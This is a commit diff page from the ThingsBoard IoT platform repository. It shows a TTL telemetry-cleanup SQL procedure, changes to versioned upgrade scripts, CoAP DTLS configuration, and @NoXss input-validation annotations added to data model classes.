Browse Source

Merge with master

pull/4024/head
Igor Kulikov 6 years ago
parent
commit
a207e31841
  1. 87
      application/src/main/data/upgrade/3.2.1/schema_update_ttl.sql
  2. 17
      application/src/main/java/org/thingsboard/server/controller/OAuth2Controller.java
  3. 2
      application/src/main/java/org/thingsboard/server/service/install/AbstractSqlTsDatabaseUpgradeService.java
  4. 14
      application/src/main/java/org/thingsboard/server/service/install/PsqlTsDatabaseUpgradeService.java
  5. 12
      application/src/main/java/org/thingsboard/server/service/install/TimescaleTsDatabaseUpgradeService.java
  6. 18
      application/src/main/resources/thingsboard.yml
  7. 8
      common/data/pom.xml
  8. 4
      common/data/src/main/java/org/thingsboard/server/common/data/AdminSettings.java
  9. 11
      common/data/src/main/java/org/thingsboard/server/common/data/ContactBased.java
  10. 6
      common/data/src/main/java/org/thingsboard/server/common/data/Customer.java
  11. 4
      common/data/src/main/java/org/thingsboard/server/common/data/Device.java
  12. 7
      common/data/src/main/java/org/thingsboard/server/common/data/DeviceProfile.java
  13. 3
      common/data/src/main/java/org/thingsboard/server/common/data/EntityView.java
  14. 5
      common/data/src/main/java/org/thingsboard/server/common/data/Tenant.java
  15. 3
      common/data/src/main/java/org/thingsboard/server/common/data/TenantProfile.java
  16. 4
      common/data/src/main/java/org/thingsboard/server/common/data/User.java
  17. 10
      common/data/src/main/java/org/thingsboard/server/common/data/asset/Asset.java
  18. 4
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmCondition.java
  19. 6
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmConditionFilter.java
  20. 2
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmConditionFilterKey.java
  21. 5
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmRule.java
  22. 5
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/DeviceProfileAlarm.java
  23. 2
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/DeviceProfileData.java
  24. 2
      common/data/src/main/java/org/thingsboard/server/common/data/query/DynamicValue.java
  25. 6
      common/data/src/main/java/org/thingsboard/server/common/data/query/FilterPredicateValue.java
  26. 3
      common/data/src/main/java/org/thingsboard/server/common/data/query/StringFilterPredicate.java
  27. 2
      common/data/src/main/java/org/thingsboard/server/common/data/rule/RuleChain.java
  28. 34
      common/data/src/main/java/org/thingsboard/server/common/data/validation/NoXss.java
  29. 4
      common/transport/coap/pom.xml
  30. 4
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/CoapTransportContext.java
  31. 230
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/CoapTransportResource.java
  32. 64
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/CoapTransportService.java
  33. 161
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsCertificateVerifier.java
  34. 55
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSessionInMemoryStorage.java
  35. 35
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSessionInfo.java
  36. 162
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSettings.java
  37. 97
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/client/NoSecClient.java
  38. 145
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/client/SecureClientNoAuth.java
  39. 144
      common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/client/SecureClientX509.java
  40. 3
      common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/MqttSslHandlerProvider.java
  41. 2
      common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/MqttTransportHandler.java
  42. 2
      common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/adaptors/ProtoMqttAdaptor.java
  43. 8
      common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/adaptor/JsonConverter.java
  44. 25
      common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/adaptor/ProtoConverter.java
  45. 10
      common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/auth/SessionInfoCreator.java
  46. 3
      common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/util/SslUtil.java
  47. 13
      dao/pom.xml
  48. 38
      dao/src/main/java/org/thingsboard/server/dao/service/DataValidator.java
  49. 57
      dao/src/main/java/org/thingsboard/server/dao/service/NoXssValidator.java
  50. 4
      dao/src/main/java/org/thingsboard/server/dao/sqlts/timescale/TsKvTimescaleRepository.java
  51. 18
      dao/src/main/java/org/thingsboard/server/dao/sqlts/ts/TsKvRepository.java
  52. 8
      dao/src/main/java/org/thingsboard/server/dao/timeseries/CassandraBaseTimeseriesDao.java
  53. 4
      dao/src/main/resources/sql/schema-timescale.sql
  54. 162
      dao/src/main/resources/xss-policy.xml
  55. 5
      dao/src/test/java/org/thingsboard/server/dao/SqlDaoServiceTestSuite.java
  56. 52
      dao/src/test/java/org/thingsboard/server/dao/service/NoXssValidatorTest.java
  57. 28
      dao/src/test/java/org/thingsboard/server/dao/service/timeseries/BaseTimeseriesServiceTest.java
  58. 162
      dao/src/test/resources/xss-policy.xml
  59. 2
      docker/docker-compose.yml
  60. 4
      docker/haproxy/config/haproxy.cfg
  61. 10
      k8s/common/tb-coap-transport-configmap.yml
  62. 10
      k8s/common/tb-http-transport-configmap.yml
  63. 10
      k8s/common/tb-mqtt-transport-configmap.yml
  64. 10
      k8s/common/tb-node-configmap.yml
  65. 46
      pom.xml
  66. 50
      rule-engine/rule-engine-components/src/main/java/org/thingsboard/rule/engine/profile/AlarmRuleState.java
  67. 18
      transport/coap/src/main/resources/tb-coap-transport.yml
  68. 107
      ui-ngx/src/app/core/api/data-aggregator.ts
  69. 6
      ui-ngx/src/app/core/api/entity-data-subscription.ts
  70. 13
      ui-ngx/src/app/core/api/widget-subscription.ts
  71. 9
      ui-ngx/src/app/modules/home/components/dashboard/dashboard.component.html
  72. 10
      ui-ngx/src/app/modules/home/components/entity/entities-table.component.ts
  73. 13
      ui-ngx/src/app/modules/home/pages/device-profile/device-profiles-table-config.resolver.ts
  74. 2
      ui-ngx/src/app/shared/models/device.models.ts
  75. 246
      ui-ngx/src/app/shared/models/time/time.models.ts
  76. 9
      ui-ngx/src/assets/locale/locale.constant-en_US.json

87
application/src/main/data/upgrade/3.2.1/schema_update_ttl.sql

@ -0,0 +1,87 @@
--
-- Copyright © 2016-2021 The Thingsboard Authors
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
CREATE OR REPLACE PROCEDURE cleanup_timeseries_by_ttl(IN null_uuid uuid,
IN system_ttl bigint, INOUT deleted bigint)
LANGUAGE plpgsql AS
$$
DECLARE
tenant_cursor CURSOR FOR select tenant.id as tenant_id
from tenant;
tenant_id_record uuid;
customer_id_record uuid;
tenant_ttl bigint;
customer_ttl bigint;
deleted_for_entities bigint;
tenant_ttl_ts bigint;
customer_ttl_ts bigint;
BEGIN
OPEN tenant_cursor;
FETCH tenant_cursor INTO tenant_id_record;
WHILE FOUND
LOOP
EXECUTE format(
'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L',
tenant_id_record, 'TTL') INTO tenant_ttl;
if tenant_ttl IS NULL THEN
tenant_ttl := system_ttl;
END IF;
IF tenant_ttl > 0 THEN
tenant_ttl_ts := (EXTRACT(EPOCH FROM current_timestamp) * 1000 - tenant_ttl::bigint * 1000)::bigint;
deleted_for_entities := delete_device_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts);
deleted := deleted + deleted_for_entities;
RAISE NOTICE '% telemetry removed for devices where tenant_id = %', deleted_for_entities, tenant_id_record;
deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts);
deleted := deleted + deleted_for_entities;
RAISE NOTICE '% telemetry removed for assets where tenant_id = %', deleted_for_entities, tenant_id_record;
END IF;
FOR customer_id_record IN
SELECT customer.id AS customer_id FROM customer WHERE customer.tenant_id = tenant_id_record
LOOP
EXECUTE format(
'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L',
customer_id_record, 'TTL') INTO customer_ttl;
IF customer_ttl IS NULL THEN
customer_ttl_ts := tenant_ttl_ts;
ELSE
IF customer_ttl > 0 THEN
customer_ttl_ts :=
(EXTRACT(EPOCH FROM current_timestamp) * 1000 -
customer_ttl::bigint * 1000)::bigint;
END IF;
END IF;
IF customer_ttl_ts IS NOT NULL AND customer_ttl_ts > 0 THEN
deleted_for_entities :=
delete_customer_records_from_ts_kv(tenant_id_record, customer_id_record,
customer_ttl_ts);
deleted := deleted + deleted_for_entities;
RAISE NOTICE '% telemetry removed for customer with id = % where tenant_id = %', deleted_for_entities, customer_id_record, tenant_id_record;
deleted_for_entities :=
delete_device_records_from_ts_kv(tenant_id_record, customer_id_record,
customer_ttl_ts);
deleted := deleted + deleted_for_entities;
RAISE NOTICE '% telemetry removed for devices where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record;
deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record,
customer_id_record,
customer_ttl_ts);
deleted := deleted + deleted_for_entities;
RAISE NOTICE '% telemetry removed for assets where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record;
END IF;
END LOOP;
FETCH tenant_cursor INTO tenant_id_record;
END LOOP;
END
$$;

17
application/src/main/java/org/thingsboard/server/controller/OAuth2Controller.java

@ -19,11 +19,15 @@ import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.thingsboard.server.common.data.exception.ThingsboardException;
import org.thingsboard.server.common.data.oauth2.OAuth2ClientInfo;
import org.thingsboard.server.common.data.oauth2.OAuth2ClientsParams;
import org.thingsboard.server.common.data.oauth2.SchemeType;
import org.thingsboard.server.dao.oauth2.OAuth2Configuration;
import org.thingsboard.server.queue.util.TbCoreComponent;
import org.thingsboard.server.service.security.permission.Operation;
@ -31,6 +35,7 @@ import org.thingsboard.server.service.security.permission.Resource;
import org.thingsboard.server.utils.MiscUtils;
import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;
import java.util.List;
@RestController
@ -46,6 +51,14 @@ public class OAuth2Controller extends BaseController {
@ResponseBody
public List<OAuth2ClientInfo> getOAuth2Clients(HttpServletRequest request) throws ThingsboardException {
try {
if (log.isDebugEnabled()) {
log.debug("Executing getOAuth2Clients: [{}][{}][{}]", request.getScheme(), request.getServerName(), request.getServerPort());
Enumeration<String> headerNames = request.getHeaderNames();
while (headerNames.hasMoreElements()) {
String header = headerNames.nextElement();
log.debug("Header: {} {}", header, request.getHeader(header));
}
}
return oAuth2Service.getOAuth2Clients(MiscUtils.getScheme(request), MiscUtils.getDomainNameAndPort(request));
} catch (Exception e) {
throw handleException(e);

2
application/src/main/java/org/thingsboard/server/service/install/AbstractSqlTsDatabaseUpgradeService.java

@ -50,7 +50,7 @@ public abstract class AbstractSqlTsDatabaseUpgradeService {
@Autowired
protected InstallScripts installScripts;
protected abstract void loadSql(Connection conn, String fileName);
protected abstract void loadSql(Connection conn, String fileName, String version);
protected void loadFunctions(Path sqlFile, Connection conn) throws Exception {
String sql = new String(Files.readAllBytes(sqlFile), StandardCharsets.UTF_8);

14
application/src/main/java/org/thingsboard/server/service/install/PsqlTsDatabaseUpgradeService.java

@ -94,7 +94,7 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
log.info("PostgreSQL version is valid!");
if (isOldSchema(conn, 2004003)) {
log.info("Load upgrade functions ...");
loadSql(conn, LOAD_FUNCTIONS_SQL);
loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3");
log.info("Updating timeseries schema ...");
executeQuery(conn, CALL_CREATE_PARTITION_TS_KV_TABLE);
if (!partitionType.equals("INDEFINITE")) {
@ -179,9 +179,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
}
log.info("Load TTL functions ...");
loadSql(conn, LOAD_TTL_FUNCTIONS_SQL);
loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
log.info("Load Drop Partitions functions ...");
loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL);
loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3");
executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000");
@ -199,9 +199,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
case "3.2.1":
try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) {
log.info("Load TTL functions ...");
loadSql(conn, LOAD_TTL_FUNCTIONS_SQL);
loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
log.info("Load Drop Partitions functions ...");
loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL);
loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3");
executeQuery(conn, "DROP PROCEDURE IF EXISTS cleanup_timeseries_by_ttl(character varying, bigint, bigint);");
executeQuery(conn, "DROP FUNCTION IF EXISTS delete_asset_records_from_ts_kv(character varying, character varying, bigint);");
@ -244,8 +244,8 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
}
@Override
protected void loadSql(Connection conn, String fileName) {
Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName);
protected void loadSql(Connection conn, String fileName, String version) {
Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName);
try {
loadFunctions(schemaUpdateFile, conn);
log.info("Functions successfully loaded!");

12
application/src/main/java/org/thingsboard/server/service/install/TimescaleTsDatabaseUpgradeService.java

@ -89,7 +89,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
log.info("PostgreSQL version is valid!");
if (isOldSchema(conn, 2004003)) {
log.info("Load upgrade functions ...");
loadSql(conn, LOAD_FUNCTIONS_SQL);
loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3");
log.info("Updating timescale schema ...");
executeQuery(conn, CALL_CREATE_TS_KV_LATEST_TABLE);
executeQuery(conn, CALL_CREATE_NEW_TENANT_TS_KV_TABLE);
@ -165,7 +165,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
}
log.info("Load TTL functions ...");
loadSql(conn, LOAD_TTL_FUNCTIONS_SQL);
loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000");
log.info("schema timescale updated!");
@ -178,7 +178,11 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
}
break;
case "3.1.1":
break;
case "3.2.1":
try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) {
loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "3.2.1");
}
break;
default:
throw new RuntimeException("Unable to upgrade SQL database, unsupported fromVersion: " + fromVersion);
@ -201,8 +205,8 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
}
@Override
protected void loadSql(Connection conn, String fileName) {
Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName);
protected void loadSql(Connection conn, String fileName, String version) {
Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName);
try {
loadFunctions(schemaUpdateFile, conn);
log.info("Functions successfully loaded!");

18
application/src/main/resources/thingsboard.yml

@ -586,6 +586,24 @@ transport:
bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}"
bind_port: "${COAP_BIND_PORT:5683}"
timeout: "${COAP_TIMEOUT:10000}"
dtls:
# Enable/disable DTLS 1.2 support
enabled: "${COAP_DTLS_ENABLED:false}"
# Secure mode. Allowed values: NO_AUTH, X509
mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}"
# Path to the key store that holds the certificate
key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}"
# Password used to access the key store
key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}"
# Password used to access the key
key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}"
# Key alias
key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}"
# Skip certificate validity check for client certificates.
skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}"
x509:
dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}"
dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}"
# Local LwM2M transport parameters
lwm2m:
# Enable/disable lvm2m transport protocol.

8
common/data/pom.xml

@ -36,6 +36,14 @@
</properties>
<dependencies>
<dependency>
<groupId>javax.validation</groupId>
<artifactId>validation-api</artifactId>
</dependency>
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>

4
common/data/src/main/java/org/thingsboard/server/common/data/AdminSettings.java

@ -18,11 +18,13 @@ package org.thingsboard.server.common.data;
import org.thingsboard.server.common.data.id.AdminSettingsId;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
public class AdminSettings extends BaseData<AdminSettingsId> {
private static final long serialVersionUID = -7670322981725511892L;
@NoXss
private String key;
private transient JsonNode jsonValue;

11
common/data/src/main/java/org/thingsboard/server/common/data/ContactBased.java

@ -17,19 +17,28 @@ package org.thingsboard.server.common.data;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.id.UUIDBased;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName {
private static final long serialVersionUID = 5047448057830660988L;
@NoXss
protected String country;
@NoXss
protected String state;
@NoXss
protected String city;
@NoXss
protected String address;
@NoXss
protected String address2;
@NoXss
protected String zip;
@NoXss
protected String phone;
@NoXss
protected String email;
public ContactBased() {

6
common/data/src/main/java/org/thingsboard/server/common/data/Customer.java

@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonProperty.Access;
import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.TenantId;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
public class Customer extends ContactBased<CustomerId> implements HasTenantId {
private static final long serialVersionUID = -1599722990298929275L;
@NoXss
private String title;
private TenantId tenantId;

4
common/data/src/main/java/org/thingsboard/server/common/data/Device.java

@ -24,6 +24,7 @@ import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.DeviceId;
import org.thingsboard.server.common.data.id.DeviceProfileId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -36,8 +37,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
@NoXss
private String label;
private DeviceProfileId deviceProfileId;
private transient DeviceData deviceData;

7
common/data/src/main/java/org/thingsboard/server/common/data/DeviceProfile.java

@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData;
import org.thingsboard.server.common.data.id.DeviceProfileId;
import org.thingsboard.server.common.data.id.RuleChainId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId {
private TenantId tenantId;
@NoXss
private String name;
@NoXss
private String description;
private boolean isDefault;
private DeviceProfileType type;
private DeviceTransportType transportType;
private DeviceProfileProvisionType provisionType;
private RuleChainId defaultRuleChainId;
@NoXss
private String defaultQueueName;
@Valid
private transient DeviceProfileData profileData;
@JsonIgnore
private byte[] profileDataBytes;
@NoXss
private String provisionDeviceKey;
public DeviceProfile() {

3
common/data/src/main/java/org/thingsboard/server/common/data/EntityView.java

@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId;
import org.thingsboard.server.common.data.id.EntityViewId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.objects.TelemetryEntityView;
import org.thingsboard.server.common.data.validation.NoXss;
/**
* Created by Victor Basanets on 8/27/2017.
@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId>
private EntityId entityId;
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
private TelemetryEntityView keys;
private long startTimeMs;

5
common/data/src/main/java/org/thingsboard/server/common/data/Tenant.java

@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.id.TenantProfileId;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class Tenant extends ContactBased<TenantId> implements HasTenantId {
private static final long serialVersionUID = 8057243243859922101L;
@NoXss
private String title;
@NoXss
private String region;
private TenantProfileId tenantProfileId;

3
common/data/src/main/java/org/thingsboard/server/common/data/TenantProfile.java

@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j;
import org.thingsboard.server.common.data.id.TenantProfileId;
import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration;
import org.thingsboard.server.common.data.tenant.profile.TenantProfileData;
import org.thingsboard.server.common.data.validation.NoXss;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
@Slf4j
public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName {
@NoXss
private String name;
@NoXss
private String description;
private boolean isDefault;
private boolean isolatedTbCore;

4
common/data/src/main/java/org/thingsboard/server/common/data/User.java

@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.id.UserId;
import org.thingsboard.server.common.data.security.Authority;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId {
@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H
private CustomerId customerId;
private String email;
private Authority authority;
@NoXss
private String firstName;
@NoXss
private String lastName;
public User() {

10
common/data/src/main/java/org/thingsboard/server/common/data/asset/Asset.java

@ -15,12 +15,15 @@
*/
package org.thingsboard.server.common.data.asset;
import com.fasterxml.jackson.databind.JsonNode;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.*;
import org.thingsboard.server.common.data.HasCustomerId;
import org.thingsboard.server.common.data.HasName;
import org.thingsboard.server.common.data.HasTenantId;
import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
import org.thingsboard.server.common.data.id.AssetId;
import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId {
@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
@NoXss
private String label;
public Asset() {

4
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmCondition.java

@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import lombok.Data;
import org.thingsboard.server.common.data.query.KeyFilter;
import javax.validation.Valid;
import java.util.List;
import java.util.concurrent.TimeUnit;
@Data
@JsonIgnoreProperties(ignoreUnknown = true)
public class AlarmCondition {
@Valid
private List<AlarmConditionFilter> condition;
private AlarmConditionSpec spec;

6
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmConditionFilter.java

@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.query.EntityKeyValueType;
import org.thingsboard.server.common.data.query.KeyFilterPredicate;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class AlarmConditionFilter {
@Valid
private AlarmConditionFilterKey key;
private EntityKeyValueType valueType;
@NoXss
private Object value;
@Valid
private KeyFilterPredicate predicate;
}

2
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmConditionFilterKey.java

@ -16,11 +16,13 @@
package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
public class AlarmConditionFilterKey {
private final AlarmConditionKeyType type;
@NoXss
private final String key;
}

5
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmRule.java

@ -16,13 +16,18 @@
package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class AlarmRule {
@Valid
private AlarmCondition condition;
private AlarmSchedule schedule;
// Advanced
@NoXss
private String alarmDetails;
}

5
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/DeviceProfileAlarm.java

@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.alarm.AlarmSeverity;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
import java.util.List;
import java.util.TreeMap;
@ -25,9 +27,12 @@ import java.util.TreeMap;
public class DeviceProfileAlarm {
private String id;
@NoXss
private String alarmType;
@Valid
private TreeMap<AlarmSeverity, AlarmRule> createRules;
@Valid
private AlarmRule clearRule;
// Hidden in advanced settings

2
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/DeviceProfileData.java

@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import javax.validation.Valid;
import java.util.List;
@Data
@ -25,6 +26,7 @@ public class DeviceProfileData {
private DeviceProfileConfiguration configuration;
private DeviceProfileTransportConfiguration transportConfiguration;
private DeviceProfileProvisionConfiguration provisionConfiguration;
@Valid
private List<DeviceProfileAlarm> alarms;
}

2
common/data/src/main/java/org/thingsboard/server/common/data/query/DynamicValue.java

@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.Data;
import lombok.RequiredArgsConstructor;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
@RequiredArgsConstructor
@ -27,6 +28,7 @@ public class DynamicValue<T> {
private T resolvedValue;
private final DynamicValueSourceType sourceType;
@NoXss
private final String sourceAttribute;
private final boolean inherit;

6
common/data/src/main/java/org/thingsboard/server/common/data/query/FilterPredicateValue.java

@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Data;
import lombok.Getter;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class FilterPredicateValue<T> {
@Getter
@NoXss
private final T defaultValue;
@Getter
@NoXss
private final T userValue;
@Getter
@Valid
private final DynamicValue<T> dynamicValue;
public FilterPredicateValue(T defaultValue) {

3
common/data/src/main/java/org/thingsboard/server/common/data/query/StringFilterPredicate.java

@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query;
import lombok.Data;
import javax.validation.Valid;
@Data
public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> {
private StringOperation operation;
@Valid
private FilterPredicateValue<String> value;
private boolean ignoreCase;

2
common/data/src/main/java/org/thingsboard/server/common/data/rule/RuleChain.java

@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
import org.thingsboard.server.common.data.id.RuleChainId;
import org.thingsboard.server.common.data.id.RuleNodeId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
@EqualsAndHashCode(callSuper = true)
@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im
private static final long serialVersionUID = -5656679015121935465L;
private TenantId tenantId;
@NoXss
private String name;
private RuleNodeId firstRuleNodeId;
private boolean root;

34
common/data/src/main/java/org/thingsboard/server/common/data/validation/NoXss.java

@ -0,0 +1,34 @@
/**
